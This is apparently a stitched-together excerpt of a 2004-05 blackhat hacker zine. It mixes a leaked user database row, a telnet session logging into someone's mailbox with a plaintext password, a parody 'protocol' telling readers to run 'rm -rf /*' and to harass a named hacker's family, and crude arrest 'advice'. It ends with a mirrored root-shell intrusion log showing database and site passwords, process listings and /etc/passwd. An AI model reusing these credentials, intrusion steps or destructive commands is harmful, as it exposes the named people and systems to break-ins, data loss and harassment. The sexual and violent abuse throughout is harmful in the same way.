INSERT INTO nuke_users VALUES (9,'','trev186','mycouch186@hotmail.com','','','blank.gif','1105090092','','','','','',1,0,'','','','17d8c37ede6453acc82201d5d284bbf8',10,'',0,0,0,'',0,'','',4096,0,4.0);
sh-2.05$ echo buhahahaha
buhahahaha
sh-2.05$ telnet jscript.dk 110
Trying 70.84.109.20...
Connected to jscript.dk.
Escape character is '^]'.
+OK POP3 box4 [cppop 18.1] at [70.84.109.20]
user thor@jscript.dk
+OK Need a password
PASS abekat
+OK You have 45 messages totaling 1048421 octets from /home/jscript/mail/jscript.dk/thor/inbox (quick cache v9)
retr 1
+OK 43884 octets
th@z a wrap.
10.txt-~-~-~ Incerptz from Deception Magazine
sneek preview of the soon to be world's most feared zine!
atomix@achilles atomix $ cat deception-v01.txt
_____________________________________________________________
|********************* Deception Magazine ********************|
/(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)(*)\
----------------------------------------------------------------
[########################################## VERSION [01] /|\ 01/01/05 #################################################]
"A blackhat magazine so good that even Bill and Linus want a copy!"
[########################################## VERSION [01] \|/ 01/01/05 #################################################]
****************************************************************************************************************************
,..______+______..,
[TABLE OF CONTENTS]
'..------+------..'
1. Introduction
2. Exploits/Flaws
2.1 ProFTPd/SSHd local file reading
2.2 XChat command line overflow
3. Traveling through networks
3.1 Owning one box leads to another
3.2 Watching out for admins
3.3 Searching for the gold
4. Current Events
4.1 SCO gets defaced. Again.
4.2 Samba 4: Miracle or Mayhem?
4.3 IE Flaws for LIFE
4.4 FED's tapping VoIP?
5. OS Reviews
5.1 OpenBSD 3.5
5.2 QNX 6.2.1
5.3 Slackware 10
5.4 Solaris 9 (x86)
6. Security Corner
6.1 grSEC
6.2 LibSafe
6.3 md5sum
7. Some topic we need to think of.
8. Deception Magazine 411
9. The Author's Cut
10. Outroduction
****************************************************************************************************************************
1. Hello fellow blackhats, it is us, the spreaders of underground truth, the writers of educational hacking literature, the
people that decided to write a cool magazine for our all the *dark* hackers out there... it is none other than the staff of
"Deception Managzine", a good little zine about undergroud exploits, flaws, rumors, current happenings, hacking, traveling
through networks and more! Now, by reading this magazine, you agree that you cannot share any of the information contained
in this zine to any non-blackhat hacker, programmer, etc, and that you are also not affiliated with any government agency
or just a plain 'ole whitehat. Agree? Good, on with the zine!
****************************************************************************************************************************
2. Yeah.. in this section we will share some information on flaws that have been discovered and not been reported, otherwise
known as "0days" =).
****************************************************************************************************************************
H0ly sh1t!! G3t r34dy t0 f34r 0n j4n 1st!
11.txt-~-~-~ th3 h0no gu1d3 t0 g3tt1ng bust3d
- h0no h3Lp m3 I'm gr0Unded! -
s0on3r 0r l4t3R iN y0Ur bl4ckH4t l1f3 y0U w1lL b3 gr0uNd3d
bY p0l1c3. As c0re h0no staff r3c3ntly waZ det41n3d, h3r3
iZ 0uR gu1d3 t0 G3tt1Ng arR3zt3d!!!!
iTz 7am 4nD y0Ur sl33PiNg iN b3d 4ft3r a L0ng w33K of h4x0RiNg
anD tr4d1nG mp3 0N eMUl3, wh3n s3v3rAL 0veRweIGht dUnK1nG
d0ugHnuT l0v3rZ ent3r YouR h0me! ST0p! d0 N0t r34CH f0r Th3
sh0TguN b3n34tH y0uR p1LloW(k3pT f0R th3 viZiT to Bx'Z h0me),
y0U 4r3 Ab0uT t0 b3 GR()unD3d. bE1nG gr0unDed SuCkz, 3Xc3pt
f0R th3 r1d3 In Th3 c00L truCk wiTh fl4ShiNg lIghTz!!!! iF
y0U th1nK y0U m1gHt b3 GroUnd3d h3r3 Ar3 soM tIngZ y0u ShuLd
D0 f1rZt.
1. H1d3 4 C3lLph0n3 In y0uR aZZ - d0 N0t w0RRy aB0uT th3
C3lLphone In y0Ur anuZ m4kiNg noize, s3t It t0 v1b3r4t3
4nd H4v3 w4RM fuzZy f3eLiNg in P4Ntz inSt34D!
2. 3nCryPT 4Ll 0DAyZ wiTh XoR!
3. t4K3 y0Ur h4RdDiZk 0Ut 0F c0mPut4h 4Nd wr4p iT uP aZ XmAz GiFt!
P3rf3ct DiSgu1ze!
Wh3N y0U g0To FbI 0Ff1c3 HQ (B4tManZ C4v3), t4k3 0Ff y0Ur cl0th3z
t0 Sh0w FBi y0U h4v3 N0 w34pOnz 0r b4b0'Z drUgZ st4zH3d 0N y0U
(h0p3 c3Llph0n3 d03z n0t r1ng aZ Ag3nT t0Uch1nG y0Ur BUtT m1Ght
w0nd3r whY d4 34rth M0v3d!!!).Wh3N pOl1C3 T0uCh U uP t3lL th3m Th3y
ar3 P3rv3rtZ! AnD t0 St0p GropIng y0u! D3m4nD a LaWy3r AzAp!
4ft3R y0U 4r3 kn1Ck3d - C0pZ w1lL t3lL y0u 4nYThiNg y0U s4Y c4n &
W1LL b3 Uz3d 4g4iNzt y0U, s0 c0Nf3Zz t0 3v3rY muRd3r 4nD r4p3 iN
th4 aRea! BuT d0 n0t S1Gn 4nY st4t3m3nT, 0nLy int3rViEw c4n B3 uZeD
iN c0Urt! s3e h0W c0Pz li3 t0 YoU?!? Li3 b4ck, t3Ll th3m Y0u h4V3
h4ck3D th3 t3Lc0 oR b3tt3r Y0u w0rK ther3 4z C4r3t4k3R aNd 0p3N th3
C0 Up iN th3 m0rN1nGz... ThiZ w1Ll m4k3 Th3m pArAn0iD!Y0u W1Ll th3n
B3 puT in 4 C3Ll - y0U c4n c4Ll iT ~! S0 r3m3mb3r t0 M4st3rBa1t3
th3rE 4nD puT jiZm 0n Sh3eTz anD fl00r. 3tcH h0no 1nt0 Th3 w4Ll.
d0 n0t D0 3xc3rZie3z, s1T in m3Dit4TioN p0ZiTion. iN y0Ur ph0n3c4Ll
t0 l4Wy3r t3Ll th3m Y0u n3eD m0r3 c0Ff3e 4Nd t34. 3aT th3 fr33
f00D y0u G3t.
N0w y0U g3t T0 m4k3 Ph0n3 c4lL t0 n0t1fY s0m1 0F y0ur Arr3zT s0 c4lL
piZzahUt 4nD 0rd3r 4 PizZa! aFt3r Th3 CoPz s34Rch3d y0uR ~ f0R zer0D4y
w0RlD D0m1n4t1oN pl4nZ, 4nD ciSc0 SrC! th3y w1lL w4Nt t0 Qu3ztIon y0u.
In int3rvi3w, d0 NoT sp34k. p0l1c3 l1k3 t0 h34r Y0u Br4g, th3 FeDz
anD fuZzy BunNiz w4nT To l0cK y0u uP in JisM st41n3d Sh3eTz anD piZz
st4in3d fl0oR!s0 D0Nt t4lK t0 Th3m!t3ll th3m y0u 4r3 4l Q43d4 4nd w1ll
f0r3v3r curs3 th31r gr4v3z 1f 1npr1s10n3d!0n th3 4dV1Ze 0F y0Ur 3xc3ll3Nt
h0no buDDiEz. h0tglu3 y0ur m0uth shut t0 pr3v3nt th3m fr0m tr1ck1ng y0u
1nt0 t4lk1ng r3m3mb3r iF y0U n4rQ 0n h4ck3rZ 0R fr13nDz y0U wiLl
b3 B34t uP 4nD r4p3d, Sl0Ck3d 4nD C0ck3d - w3 PuT h4rDiZk in 0uR Sl0Ck
t0 b34t uP sn1tCh3z. g0 b4Ck t0 C3lL 4nD pl4Y tiC-t4c-t03 wiTh y0Ur
im4g3nary fr13nD, t4lk T0 y0Urs3lf 4nD th3n Sh1T th3 ph0n3 oUt y0uR
aZz, Us3 iT t0 r34D buGtr4Q t0 m4k3 sUr3 u d0Nt mIzZ 28D4y W4r3z.
st4rt nucl34r w4r by w1stl1ng t0n3z 1nt0 t3l3ph0n3. th1s w1ll m4k3
th0se f3dz ph33r y0u. th3 F3Dz f34R y0U 4L0t b3CuzE h0W quIckLy y0U
s0Lv3 ruBikZ cub3z! s0 th3y WiLl l3t y0U 0uT t0 st0P wW3 br34KiNg
OuT! l4unch 4 nucl34r w4rh34d 0n th3 pr1s0n by w1stl1ng t0n3z
1nt0 t3l3ph0n3 wh3N y0U l34V3.
C0oL sh1T t0 D0 iN y0Ur c3Ll.
1. 3tCh sh3lLc0d3 iNt0 th3 w4Ll s0 th3 M4tRiX w1Ll l3T y0U dr0P
t0 r00T 4nD w4Lk thR0uGh w4Llz.
2. thR0W TuRDz 0Ut 0F y0Ur c3Ll d0oR.
3. m4k3 A piZz,jiZm 4nD sh1t r1v3r.
4. T0uCh y0uRs3Lf.
5. Sh1t 0uT y0uR C3lLph0n3,l4pTop, 4nD h4Ck sTuPh.
6. Fl1rT wiTh cUt3 cl34N3rz.
7. 4Zk f0R dRuGz C0unC1lLinG.
8. li3
9. t3lL th3 g4Ngzt3rz iN th3 C3llZ y0u 4r3 J3Zuz
10. tHr0w fl4m1nG t0il3t R0lLz 4t g4ngst3rz.
11. St4rT A ri0T.
n0W y0u 4r3 fr33 fr0m Gr0uNdinG th4nKz t0 h0no(4nD A juMP 0uT
d4 TCP w1nD0w!!!!) y0U c4n G0 b4Ck to wr1TiNg 0Day w0Rmz 4nD
DDoSiNG BX!!!!
12.txt-~-~-~ H0NO INTERNET PROGRAM PROTOCOL SPECIFICATION
RFC: 31337
OWNING PEOPLE PROTOCOL
H0NO INTERNET PROGRAM
PROTOCOL SPECIFICATION
December 2004
prepared for
Defense Advanced Research Projects Agency
Lamers on #darknet && #blackhat && IRC
by
core h0no staff
PREFACE .......................................................... 3
1. INTRODUCTION ..................................................... 1
1.1 Motivation .................................................... 3
1.2 Scope ......................................................... 3
2. OWNING PROTOCOL................................................... 7
2.1 Defining Hacking a System ..................................... 3
2.2 Model of Operation ............................................ 1
2.3 Actual owning technique ....................................... 3
2.4 Cleaning up ................................................... 3
3. CLOSING STATEMENT.................................................. 7
3.1 Telling the parents ........................................... 3
3.2 Bragging rights ............................................... 1
PREFACE
This document describes the H0NO Standard Owning People Protocol. It was
implemented by Dr. Zeus Procaeus & the spirit of my dead cat.
SnowBall II
Editor
RFC: 31337
Replaces: RFC *
OWNING PEOPLE PROTOCOL
DARPA INTERNET PROGRAM
PROTOCOL SPECIFICATION
1. INTRODUCTION
The Owning People Protocol (OPP) is intended for use as a highly reliable
hacker-to-hacker attacking protocol between computer hackers in a packet-
switched alternate reality.
1.1. Motivation
Computer communication systems are playing an increasingly important
role in military, government and child porn trading environments. This
document focuses the attention on you, the hacker. So heres your motivation,
your 19 years old, I raped your sister, fucked your mother, read your email
and you guessed it - wrote your root password in blackmarker on the wall.
Motivated enough? good.
1.2 Scope
We recommend any with laser sights and night vision, perfect for picking off
whitehats at night.
2. OWNING PROTOCOL
What follows is an indepth discussion on OOP, get out your Sybex course material
and begin studying up - this could save your life one day.
2.1 Defining Hacking a System
Hackers have debated what is a hacker for many years, but what is actually
hacking a system? Hacking the system is done by h0no with a magic wand, which
was given to us by harry potter. So fucking fear us, but you can be classed
as having read write or execute on some level or another, perhaps you maybe
on the lowest level (with bx and dvdman) and actually be a small ascii penis.
The next section shows this in a cute ascii diagram from this foxy bitch
down at the DoD (We fucked her for passwords).
2.2 Model of operation
+---------------------+
|srwx h0no eliteness |
+---------------------+
|????-rwx------ root |
+---------------------+
|????----rwx--- group |
+---------------------+
| 8=========> you |
+---------------------+
As you can see, at the top of the diagram is h0no, just below that is root,
root is actually pretty cool and to own someone you gotta be root, everywhere
they have an account and at their homes - you will be root.Beneath that is
group, at this level you should have an account on their box and finally at the
bottom is you, an ascii penis which looks almost like dvdman if you stand it
on its side.
2.3 Actual Owning technique
Actual owning technique varies, h0no just wave our wands and we instantly obtain
the h0no srwx flags to all the user's life and personal data. It is a cool wand
that only dark wizards can get if they bully harry potter at school. As you
are probably whitehat or cop you only know how it feels to be bullied at school.
So to help you understand the wand, here is a datagram from our wang.
OOP Header Format
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Victims ICQ No | Victims AIM Name |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Victims IRC whois and channels |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Reserved for more info |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| | |O|W|N|E|D|!| |
| Quotes| Pictures |!|O|W|N|E|D| Data of family |
| | |X|X|X|X|X|X| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| h0no commands | Nakid pictures |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| All the victims warez | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Izzy Wizzy lets get busy |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
2.4 Cleaning up
Now that you have finished waving your wand and have complete control of the
persons systems and life, we need to clean up. To do this type the following
command on all systems.
"rm -rf /*"
3. CLOSING STATEMENT
3.1 Telling the parents
After you have followed OOP you will have one very distressed kiddy to deal with,
at this point we recommend contacting the genetic ancestors of the creature. H0no
likes to do this personally, over the phone. Also it is wise to flyer all neighbouring
houses with a leaflet saying that the hacker is a convicted paedophile. A typical
phone call to the parents of such an hacker goes like this.
<RING>
h0no "YOUR SON JON PLAYS WITH HIS PENIS ON THE INTERNET FOR MONEY!"
MOM "OMG HE DOES WHAT NOW?!?"
3.2 Bragging rights
This is the most important part of the OOP, you need to boast about your conquests to
all the other hackers in the world so everyone who hears your name trembles in fear
and does not want to play around with you. Because your a psycho. Who will call their
Mom's. We recommend boasting in any of the channels shown in dvdman's whois for
maximum attention.
13.txt-~-~-~ boobys's's is liarz!
http://www.boobys.org is a nice site. They try hard to own lamerz with social enigneering
shit. But after careful review of their logs we have uncovered quite a goof. Atleast
when h0no fakes logs, we do it right!
"The information and logs below can obviously be faked. Actually everything on this website
COULD be faked but it is NOT. People will always deny they got hacked. Its not something
we as human beings like to admit, defeat." - http://www.boobys.org/files/xmas.html
the first part of this paragraph is hogwash. The end bit though, is very true. h0no would
like to ask boobys to please announce an applogy letter to their deticated followship of
netric ircops and dtor tutorial readerz admitting that they have decieved them.
The following is taken from http://www.boobys.org/files/xchat.html, which we mirror here
incase of any tappering by the web admin.
-~-~-~
XCHAT.ORG
As itz be decembre and almost de jesus's burf day, we thort that
we wud do sum good deeds so dat santa puts us on the good boyz
list, so we get wicked cool prezents!
Anywayz, after da recent phpBB exploiteZ dat waz releaseD the
whole of da damned interweb was being "owned" everywhere.
We satz down on R ass and watched stupid fuckWits ./ der
way in2 some well RESPECTd interweb pages!
Az you all are awares we do not usualluy tarGET the script
kiddies of da interweb, dis is because mainly they R the future
of 2moro. A big muver fucking BUT..we do NOT like the stupid ./
our shit and making biggg messes wit open backdoors and bind shells.
BOOBYS TO DA RESCUE:
MySQL user: xchat
MySQL pass: kW3rk
User: xchat
Pass: KW3rk
User: Website
Pass: ch4tjunk3y5.n7
# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
# uname -a
Linux nl 2.4.25 #1 Tue Apr 13 15:05:13 CEST 2004 i586 GNU/Linux
# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.3 1492 416 ? S Apr13 0:33 init [2]
root 2 0.0 0.0 0 0 ? S Apr13 0:34 [keventd]
root 3 0.0 0.0 0 0 ? SN Apr13 0:49 [ksoftirqd_CPU0]
root 4 0.0 0.0 0 0 ? S Apr13 90:38 [kswapd]
root 5 0.0 0.0 0 0 ? S Apr13 0:00 [bdflush]
root 6 0.0 0.0 0 0 ? S Apr13 6:24 [kupdated]
root 7 0.0 0.0 0 0 ? S Apr13 103:38 [kjournald]
root 117 0.0 0.0 0 0 ? S Apr13 1:00 [kjournald]
root 276 0.0 0.2 6116 248 ? Ss Apr13 2:31 /usr/sbin/pdns_server --daemon --guardian=yes
root 277 0.0 0.2 6116 248 ? S Apr13 0:27 /usr/sbin/pdns_server --daemon --guardian=yes
root 278 0.0 0.2 6116 248 ? S Apr13 0:00 /usr/sbin/pdns_server --daemon --guardian=yes
daemon 624 0.0 0.0 1672 24 ? Ss Apr13 0:02 /usr/sbin/atd
root 636 0.0 0.0 1488 4 tty4 Ss+ Apr13 0:00 /sbin/getty 38400 tty4
root 637 0.0 0.0 1488 4 tty5 Ss+ Apr13 0:00 /sbin/getty 38400 tty5
root 638 0.0 0.0 1488 4 tty6 Ss+ Apr13 0:00 /sbin/getty 38400 tty6
root 782 0.0 0.0 1488 4 tty2 Ss+ Apr13 0:00 /sbin/getty 38400 tty2
root 998 0.0 0.0 1488 4 tty3 Ss+ Apr13 0:00 /sbin/getty 38400 tty3
root 1430 0.0 0.0 1488 4 tty1 Ss+ Apr13 0:00 /sbin/getty 38400 tty1
dividian 8812 0.0 0.6 4504 860 ? Ss Apr15 2:55 SCREEN
dividian 8813 0.0 0.0 2608 4 pts/5 Ss Apr15 0:01 /bin/bash
dividian 10546 0.0 0.0 2612 4 pts/6 Ss May07 0:00 /bin/bash
clamav 10250 0.0 0.0 4608 108 ? Ss May23 0:06 /usr/sbin/clamav-milter --max-children=2 -olq --pidfile /var/run/clamav/clamav-milter.pid local:/var/run/clamav/clamav-milter.ctl
clamav 10251 0.0 0.0 4608 108 ? S May23 0:19 /usr/sbin/clamav-milter --max-children=2 -olq --pidfile /var/run/clamav/clamav-milter.pid local:/var/run/clamav/clamav-milter.ctl
clamav 10252 0.0 0.0 4608 108 ? S May23 0:00 /usr/sbin/clamav-milter --max-children=2 -olq --pidfile /var/run/clamav/clamav-milter.pid local:/var/run/clamav/clamav-milter.ctl
nic 4387 0.0 0.2 3632 272 ? Ss May30 2:31 SCREEN BitchX nl.chatjunkies.org
nic 4388 0.0 0.9 3968 1180 pts/2 Ss+ May30 8:56 BitchX nl.chatjunkies.org
dividian 16187 0.0 1.2 8112 1508 pts/6 S+ Jul26 17:46 irssi
dividian 526 0.0 0.0 2612 40 pts/3 Ss+ Aug27 0:00 /bin/bash
dividian 3473 0.0 1.0 8104 1360 pts/5 S+ Aug31 2:28 irssi
hybrid 6844 0.0 1.7 8436 2176 ? Ss Aug31 10:59 ./bin/ircd
nic 31115 0.0 1.1 3748 1468 ? S Sep02 18:10 ./eggdrop eggdrop.conf
root 13908 0.0 0.1 1752 212 ? Ss Oct04 0:16 /usr/sbin/cron
root 17554 0.0 0.1 2528 144 ? S Oct04 0:00 /usr/sbin/inetutils-inetd
root 31315 0.0 0.0 2876 112 ? Ss Oct04 0:05 /usr/sbin/dovecot
root 31316 0.0 0.0 5980 120 ? S Oct04 0:04 dovecot-auth
hybrid 11993 0.0 1.9 11496 2408 ? Ss Oct09 0:00 ./hybserv
hybrid 11994 0.0 1.9 11496 2408 ? S Oct09 0:00 ./hybserv
hybrid 11995 0.0 1.9 11496 2408 ? S Oct09 0:00 ./hybserv
hybrid 11996 0.0 1.9 11496 2408 ? S Oct09 9:41 ./hybserv
hybrid 11997 0.0 1.9 11496 2408 ? S Oct09 1:14 ./hybserv
hybrid 12184 0.0 0.3 1548 392 ? S Oct09 0:50 ./bopm
root 22936 0.0 0.8 7320 996 ? Ss Nov04 1:13 sendmail: MTA: accepting connections
root 22988 0.0 0.6 5892 764 ? Ss Nov04 0:02 /usr/sbin/spamass-milter -P /var/run/spamass.pid -f -p /var/run/sendmail/spamass.sock -r 5
root 22990 0.0 0.6 5892 764 ? S Nov04 0:05 /usr/sbin/spamass-milter -P /var/run/spamass.pid -f -p /var/run/sendmail/spamass.sock -r 5
root 22991 0.0 0.6 5892 764 ? S Nov04 0:00 /usr/sbin/spamass-milter -P /var/run/spamass.pid -f -p /var/run/sendmail/spamass.sock -r 5
root 23291 0.0 0.4 3316 512 ? Ss Nov04 0:01 /usr/sbin/sshd
root 24274 0.0 0.1 2340 236 ? S Nov04 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 24307 0.0 2.8 45992 3528 ? S Nov04 0:56 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
root 24308 0.0 0.1 1480 220 ? S Nov04 0:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
mysql 24309 0.0 2.8 45992 3528 ? S Nov04 1:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
mysql 24310 0.0 2.8 45992 3528 ? S Nov04 0:05 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
mysql 24311 0.0 2.8 45992 3528 ? S Nov04 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
root 24312 0.0 1.1 23340 1444 ? S Nov04 0:00 /usr/sbin/pdns_server-instance --daemon --guardian=yes
root 24333 0.0 1.1 23340 1444 ? S Nov04 0:00 /usr/sbin/pdns_server-instance --daemon --guardian=yes
root 24334 0.0 1.1 23340 1444 ? S Nov04 0:00 /usr/sbin/pdns_server-instance --daemon --guardian=yes
root 24335 0.0 1.1 23340 1444 ? S Nov04 0:24 /usr/sbin/pdns_server-instance --daemon --guardian=yes
mysql 24336 0.0 2.8 45992 3528 ? S Nov04 5:08 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
root 24337 0.0 1.1 23340 1444 ? S Nov04 0:00 /usr/sbin/pdns_server-instance --daemon --guardian=yes
root 24338 0.0 1.1 23340 1444 ? S Nov04 1:01 /usr/sbin/pdns_server-instance --daemon --guardian=yes
mysql 24339 0.0 2.8 45992 3528 ? S Nov04 1:39 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
root 24340 0.0 1.1 23340 1444 ? S Nov04 1:00 /usr/sbin/pdns_server-instance --daemon --guardian=yes
mysql 24341 0.0 2.8 45992 3528 ? S Nov04 1:43 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
root 24342 0.0 1.1 23340 1444 ? S Nov04 0:59 /usr/sbin/pdns_server-instance --daemon --guardian=yes
mysql 24343 0.0 2.8 45992 3528 ? S Nov04 1:43 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/mysqld.pid --skip-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
root 24344 0.0 1.1 23340 1444 ? S Nov04 0:20 /usr/sbin/pdns_server-instance --daemon --guardian=yes
root 25162 0.0 0.4 27980 500 ? Ss Nov04 0:04 /usr/sbin/spamd --create-prefs --max-children 5 --helper-home-dir -d --pidfile=/var/run/spamd.pid
dovecot 5260 0.0 0.4 2872 556 ? S Nov10 0:00 imap-login
clamav 10626 0.0 0.5 4216 628 ? Ss Nov10 0:01 /usr/bin/freshclam -d --quiet -p /var/run/clamav/freshclam.pid
clamav 10940 0.0 0.4 13896 596 ? Ss Nov10 1:28 /usr/sbin/clamd
clamav 10962 0.0 0.4 13896 596 ? S Nov10 0:00 /usr/sbin/clamd
clamav 10964 0.0 0.5 6276 728 ? Ss Nov10 0:01 /usr/sbin/clamav-milter --max-children=2 -olq --pidfile /var/run/clamav/clamav-milter.pid local:/var/run/clamav/clamav-milter.ctl
clamav 10965 0.0 0.5 6276 728 ? S Nov10 0:03 /usr/sbin/clamav-milter --max-children=2 -olq --pidfile /var/run/clamav/clamav-milter.pid local:/var/run/clamav/clamav-milter.ctl
clamav 10966 0.0 0.5 6276 728 ? S Nov10 0:00 /usr/sbin/clamav-milter --max-children=2 -olq --pidfile /var/run/clamav/clamav-milter.pid local:/var/run/clamav/clamav-milter.ctl
root 10996 0.0 0.3 2040 400 ? Ss Nov10 0:00 /sbin/klogd
root 11045 0.0 0.5 2240 708 ? Ss Nov10 1:33 /sbin/syslogd
root 12328 0.0 0.8 11028 1044 ? S Nov10 0:14 /usr/sbin/apache
nobody 12385 0.0 0.6 4632 812 ? Ss Nov10 0:00 proftpd: (accepting connections)
hybrid 12696 0.0 0.5 3560 660 ? S Nov10 0:35 -slink 111 111 113 113 12
kenny 13110 0.2 4.0 6960 4956 ? S Nov15 28:49 /home/kenny/eggdrop/eggdrop ./kenny.conf
nic 28843 0.0 0.6 3048 808 ? S Nov16 1:00 ./services
hybrid 27260 0.0 0.6 3560 808 ? S Nov18 0:11 -slink 47 47 64 64 34
root 9959 0.0 0.4 6076 572 ? Ss Nov20 0:00 sshd: pcgod [priv]
pcgod 9961 0.0 0.4 6080 592 ? S Nov20 0:00 sshd: pcgod@pts/0
pcgod 9962 0.0 0.3 2632 472 pts/0 Ss Nov20 0:00 -bash
pcgod 10121 0.0 0.7 5120 964 pts/0 S+ Nov20 0:02 mutt
root 23783 0.0 4.7 33252 5860 ? S Nov20 3:11 spamd child
root 24977 0.0 2.7 30936 3404 ? S Nov20 3:07 spamd child
root 25287 0.0 13.8 30332 17132 ? S Nov20 3:06 spamd child
root 27237 0.0 1.9 33376 2412 ? S Nov20 3:08 spamd child
root 27836 0.0 15.7 32932 19500 ? S Nov20 3:07 spamd child
hybrid 7440 0.0 0.6 3560 808 ? S Nov21 0:05 -slink 74 74 77 77 65
hybrid 2242 0.0 0.6 3588 760 ? S 03:35 0:00 -slink 45 45 52 52 37
dovecot 18626 0.0 0.7 2864 908 ? S 14:37 0:00 pop3-login
www-data 26760 0.1 2.7 12488 3344 ? S 18:38 0:05 /usr/sbin/apache
root 26842 0.0 0.8 6072 1052 ? Ss 18:40 0:00 sshd: dividian [priv]
dividian 26875 0.0 1.0 6080 1272 ? S 18:41 0:00 sshd: dividian@pts/4
dividian 26876 0.0 0.8 2632 1020 pts/4 Ss 18:41 0:00 -bash
dividian 26887 0.0 0.5 2492 676 pts/4 S+ 18:41 0:00 screen -r
dovecot 26899 0.0 0.8 2872 1048 ? S 18:41 0:00 imap-login
dovecot 26900 0.0 0.8 2872 1048 ? S 18:41 0:00 imap-login
dovecot 26901 0.0 0.8 2864 1048 ? S 18:41 0:00 pop3-login
dovecot 26902 0.0 0.8 2864 1048 ? S 18:41 0:00 pop3-login
www-data 27194 0.3 4.1 12648 5164 ? S 18:51 0:10 /usr/sbin/apache
www-data 27300 0.1 4.1 12664 5136 ? S 18:56 0:04 /usr/sbin/apache
www-data 27410 0.1 4.1 12656 5116 ? S 19:00 0:02 /usr/sbin/apache
www-data 28898 1.7 4.0 12616 5008 ? S 19:44 0:00 /usr/sbin/apache
www-data 28925 0.0 0.6 2476 836 ? R 19:44 0:00 ps aux
# ifconfig
eth0 Link encap:Ethernet HWaddr 00:10:4B:88:A2:20
inet addr:213.197.30.23 Bcast:213.197.30.255 Mask:255.255.255.0
inet6 addr: 2001:838:2:1::6667:1/64 Scope:Global
inet6 addr: fe80::210:4bff:fe88:a220/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1522546391 errors:0 dropped:0 overruns:88528 frame:0
TX packets:790678316 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3280880733 (3.0 GiB) TX bytes:1203610668 (1.1 GiB)
Interrupt:11 Base address:0xec00
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:16583137 errors:0 dropped:0 overruns:0 frame:0
TX packets:16583137 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:1662947497 (1.5 GiB) TX bytes:1662947497 (1.5 GiB)
# cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
majordom:x:30:31:Majordomo:/usr/lib/majordomo:/bin/sh
postgres:x:31:32:postgres:/var/lib/postgres:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
msql:x:36:36:Mini SQL Database Manager:/var/lib/msql:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats/gnats-db:/bin/sh
identd:x:100:65534::/var/run/identd:/bin/false
telnetd:x:101:101::/usr/lib/telnetd:/bin/false
